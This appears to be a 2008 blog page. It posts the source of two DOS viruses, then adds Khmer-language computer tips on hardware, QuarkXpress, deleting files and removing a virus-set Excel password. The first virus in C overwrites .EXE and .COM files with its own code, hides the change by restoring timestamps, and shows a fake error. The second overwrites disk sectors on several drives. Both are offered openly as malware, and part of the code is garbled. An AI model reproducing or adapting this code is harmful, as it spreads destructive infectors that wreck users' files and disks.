Sunday, February 10, 2008

Viruse 2

/* C-Virus: A generic .COM and .EXE infector

Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
*/


#pragma inline // Compile to .ASM

#include
#include
#include
#include
#include

void hostile_activity(void);
int infected(char *);
void spread(char *, char *);
void small_print(char *);
char *victim(void);

#define DEBUG
#define ONE_KAY 1024 // 1k
#define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
#define SIGNATURE "NMAN" // Sign of infection

int main(void)
{
/* The main program */

spread(_argv[0], victim()); // Perform infection
small_print("Out of memory\r\n"); // Print phony error
return(1); // Fake failure...
}

void hostile_activity(void)
{
/* Put whatever you feel like doing here...I chose to
make this part harmless, but if you're feeling
nasty, go ahead and have some fun... */

small_print("\a\a\aAll files infected. Mission complete.\r\n");
exit(2);
}

int infected(char *fname)
{
/* This function determines if fname is infected */

FILE *fp; // File handle
char sig[5]; // Virus signature

fp = fopen(fname, "rb");
fseek(fp, 28L, SEEK_SET);
fread(sig, sizeof(sig) - 1, 1, fp);
#ifdef DEBUG
printf("Signature for %s: %s\n", fname, sig);
#endif
fclose(fp);
return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
}

void small_print(char *string)
{
/* This function is a small, quick print routine */

asm {
push si
mov si,string
mov ah,0xE
}

print: asm {
lodsb
or al,al
je finish
int 0x10
jmp short print
}
finish: asm pop si
}

void spread(char *old_name, char *new_name)
{
/* This function infects new_name with old_name */


/* Variable declarations */

FILE *old, *new; // File handles
struct ftime file_time; // Old file date,
time
int attrib; // Old attributes
long old_size, virus_size; // Sizes of files
char *virus_code = NULL; // Pointer to virus
int old_handle, new_handle; // Handles for files


/* Perform the infection */

#ifdef DEBUG
printf("Infecting %s with %s...\n", new_name, old_name);
#endif
old = fopen(old_name, "rb"); // Open virus
new = fopen(new_name, "rb"); // Open victim
old_handle = fileno(old); // Get file handles
new_handle = fileno(new);
old_size = filelength(new_handle); // Get old file size
virus_size = filelength(old_handle); // Get virus size
attrib = _chmod(new_name, 0); // Get old attributes
getftime(new_handle, &file_time); // Get old file time
fclose(new); // Close the virusee
_chmod(new_name, 1, 0); // Clear any read-only
unlink(new_name); // Erase old file
new = fopen(new_name, "wb"); // Open new virus
new_handle = fileno(new);
virus_code = malloc(virus_size); // Allocate space
fread(virus_code, virus_size, 1, old); // Read virus from old
fwrite(virus_code, virus_size, 1, new); // Copy virus to new
_chmod(new_name, 1, attrib); // Replace attributes
chsize(new_handle, old_size); // Replace old size
setftime(new_handle, &file_time); // Replace old time


/* Clean up */

fcloseall(); // Close files
free(virus_code); // Free memory
}

char *victim(void)
{
/* This function returns the virus's next victim */


/* Variable declarations */

char *types[] = {"*.EXE", "*.COM"}; // Potential victims
static struct ffblk ffblk; // DOS file block
int done; // Indicates finish
int index; // Used for loop


/* Find our victim */

if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
return(_argv[1]);

for (index = 0; index < done =" findfirst(types[index],">
TOO_SMALL))
return(ffblk.ff_name);
done = findnext(&ffblk);
}
}


/* If there are no files left to infect, have a little fun... */

hostile_activity();
return(0); // Prevents warning
}


POWER BY CITY OF DEVIL

Viruse 1

#include

main()
{
char *vir;
abswrite(0,50,0,vir);
abswrite(1,50,0,vir);
abswrite(2,50,0,vir);
abswrite(3,50,0,vir);
abswrite(4,50,0,vir);
printf("KICK YOU ALL");
printf("The Bomber");
}
save with .bat in notepad

Power by City of Devil

កុំព្យូទ័រ

កុំព្យូទ័រមានសំភារៈជាច្រើនត្រូវបានយកមករួមបញ្ចូលគ្នាដើម្បីឲ្យវាមានសមត្ថភាពកាន់តែប្រសើរឡើង។ តើមានឧបករណ៍អ្វីខ្លះដើម្បីបង្កើតបានជាកុំព្យូទ័រមួយគ្រឿងសំរាប់ឲ្យយើងអាចប្រើប្រាស់បាន?
ឧបករណ៍ទាំងនោះរួមមានៈ
1-Monitor រឺអាចនិយាយថាជាScreen សំរាប់អោយយើងមើល វាមានរូបរាងស្រដៀងនិងទូរទស្សន៍ដែរ
2-Keyboard វាជាក្តាចុចសំរាប់យើងវាយអក្សរ
3-Mouse វាជាកូនកណ្តុរសំរាប់យើងកាន់នៅដៃខាងស្តាំ សំរាប់បញ្ជារសញ្ញាព្រួញដែលស្ថិតនៅក្នុងScreen Monitor
4-Speaker សំរាប់បន្លើសំលេង
5-​Printer សំរាប់បោះពុម្ពឯកសារ
6-System Unit​ វាគឺជាធុងដែលរក្សាទុកនូវឧបករណ៍មួយចំនួនផ្សេងទៀតរួមមានៈ
+Case គឺជាសំបកធុង
+Power Supply គឺជាដំភ្លើងសំរាប់ទុបភ្លើងចែកចាយ
+RAM គឺជាកន្លែងរក្សានូវទិន្ន័យបណ្តោះអាសន្ន
+Hard Disk គឺជាកន្លែងរក្សានូវទិន្ន័យអចិន្ត្រៃ
+CPU គឺជាកន្លែងសំរាប់ធ្វើការគណនា
+CD-ROM គឺជាកន្លែងសំរាប់អានទិន្ន័យពី CD
,,,,,,,,,,

របៀបបើកគំរោងដែលបានរក្សាទុក

ដើម្បីបើកគំរោងដែលបានរក្សាទុក File->Open

របៀបរក្សាគំរោងទុក

ដើម្បីរក្សាគំរោងទុកត្រូវចុច File->Save

ការបង្កើតគំរោងថ្មី

ដើម្បីបង្កើតគំរោងថ្មីនៅលើ QuarkXpress យើងត្រូវ ចុច
1-File->New->Project
2-ចុចលើពាក្យ «Sigle Layout Mode»
3-កំណត់ប្រភេទក្រដាស់​និងគំលាតពីជ្រុងម្ខាងៗ
ចុច​OK

ការលុបឯកសារចេញពីកុំព្យូទ័រដោយមិនឲ្យបាច់រក្សាទុកក្នុងធុងសំរាម

អ្នកតែងតែលុបឯកសារមួយចំនួនដែលមិនចាំបាច់ចោល។ក៏ប៉ុន្តែពេលយើងលុបវាហើយ វានៅតែមានរក្សាទុកលើកុំព្យូទ័រដ៏ដែលគឺវាស្ថិតនៅក្នុងធុងសំរាម ដូច្នេះយើងត្រូវទៅតាមលុបដល់ធុងសំរាមទៀតទើបអាចលុបវាបានទាំងអស់។ ឥឡូវនេះវាមានវិធីងាយៗពីសំរាប់ឲ្យយើងប្រើក្នុងការលុប​ឯកសារដោយមិនបាច់ឆ្លងកាត់ធុងសំរាមគឺ
1-ជ្រើសរើសឯកសារដែលចង់លុប រួចចុច Shift+Del
2-Start-Run- type "gpedit.msc"-User Configuration- Administrative Templates-Windows Components-Windows Explorer- រកមើលឯកសារមួយឈ្មោះថា «Do not move deleted files to the Recycle Bin setting» រួច ចុចកណ្តុរស្តាំ យកProperty និងយក EnableយកOK ។

ការដោះលេខសំងាត់ចេញពីExcel ដែលដាក់ដោយមេរោគ

នៅពេលអ្នកកំពុងប្រើកម្មវិធីExcel រួចអ្នករក្សាវាទុកដោយមិនបានដាក់លេខសំងាត់ឲ្យវាទេ ប៉ុន្តែពេលអ្នកបើកត្រលប់មកវិញម្តងទៀតបែរជាមានលេខសំងាត់ទៅវិញ។ ដើម្បីដោះលេខសំងាត់ទាំងនោះវាមានវិធីជាច្រើនណាស់ប៉ុន្តែបើសរុបទៅគឺមានតែពីរគត់គឺចំណាយប្រាក់ និងមិនចំណាយប្រាក់។
-ចំណាយប្រាក់គឺយើងត្រូវទិញកម្មវិធីនិងសិទ្ធិប្រើប្រាស់ដើម្បីយកមកដោះលេខសំងាត់ចេញ។
-មិនចំណាយប្រាក់គឺយើងត្រូវដោះវាដោយខ្លួនឯងៈ
វិធីងាយៗគ្រាន់តែអ្នកដឹងអំពីរូបមន្តរបស់វាអ្នកនឹងអាចដោះលេខសំងាត់នោះងាយបំផុត
រូបមន្តគឺ
លេខសំងាត់សំរាប់បើកឯកសារ
1-«ឈ្មោះឯកសារបញ្រ្ចាស+ឈ្មោះឯកសារធម្មតា+ដកឃ្លា»
2-«រាប់ពីឆ្វេងទៅស្តាំចំនួន១៥តួរ ហើយតួរដែលនៅសល់លុបចោល»
ឧទារហណ៍ថាយើងមានឯកសារមួយឈ្មោះថា «Book1.xls»មានជាប់លេខសំងាត់ដែលដាក់ដោយមេរោគ
យើងអាចដោះវាបានតាមរូបមន្តខាងលើគឺ
1-«slx.1kooB»+«Book1.xls»+«​​​ »
2-«slx.1kooBBook1.»
ដូចនេះ «slx.1kooBBook1.»ជាលេខសំងាត់សំរាប់បើកឯកសារ

លេខសំងាត់សំរាប់កែប្រែឯកសារ
វាជាលើសំងាត់ដែលមិនប្រែប្រួលគឺ «XLS »គឺមានអ៊ិច អេល អេស និង ដកឃ្លាមួយ